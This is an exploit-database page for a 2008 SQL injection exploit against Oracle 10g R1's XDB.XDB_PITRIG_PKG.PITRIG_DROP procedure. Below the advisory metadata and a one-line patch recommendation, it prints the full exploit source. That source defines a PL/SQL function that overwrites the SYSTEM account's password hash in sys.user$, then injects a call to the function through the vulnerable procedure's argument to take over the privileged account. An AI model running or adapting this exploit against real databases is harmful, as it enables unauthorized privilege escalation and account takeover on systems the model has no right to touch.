Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_DROP SQL Injection Exploit

vendor:

Oracle Database

by:

Alexandr 'Sh2kerr' Polyakov

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Oracle Database

Affected Version From: Oracle 10g R1

Affected Version To: Oracle 10g R1

Patch Exists: YES

Related CWE: N/A

CPE: oracle:oracle_database

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2008

Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_DROP SQL Injection Exploit

This exploit allows an attacker to change the system password of Oracle 10g R1 by exploiting a SQL Injection vulnerability in the XDB.XDB_PITRIG_PKG.PITRIG_DROP package. The exploit was written by Alexandr 'Sh2kerr' Polyakov and was tested on Oracle 10.1.0.2.0.

Mitigation:

Oracle recommends applying the January 2008 Critical Patch Update to address this vulnerability.

Source

Exploit-DB raw data:

/******************************************************************/
/******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_DROP    **********/
/*******                SQL Injection Exploit            **********/
/******************************************************************/
/************   exploit change system password       **************/
/******************************************************************/
/******************  BY Sh2kerr (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  January 25, 2008              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   Alexandr.Polyakov@dsec.ru     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*      Alexandr Polyakov [ Alexandr.Polyakov@dsec.ru]            */
/*      Reported: 18  Dec 2007                                    */
/*      Date of Public Advisory: January 15, 2008                 */
/*      Advisory: http://www.oracle.com/technology/deploy/        */
/*                security/critical-patch-updates/cpujan2008.html */
/*                                                                */
/******************************************************************/



/* set password 12345 to user SYSTEM   */

CREATE OR REPLACE FUNCTION CHANGEPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'update sys.user$ set password=''EC7637CC2C2BOADC'' where name=''SYSTEM''';
COMMIT;
RETURN '';
END;
/

EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"."SH2KERR" WHERE 1=SCOTT.CHANGEPASS()--','HELLO IDS IT IS EXPLOIT :)');






/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
/******************************************************************/

// milw0rm.com [2008-01-28]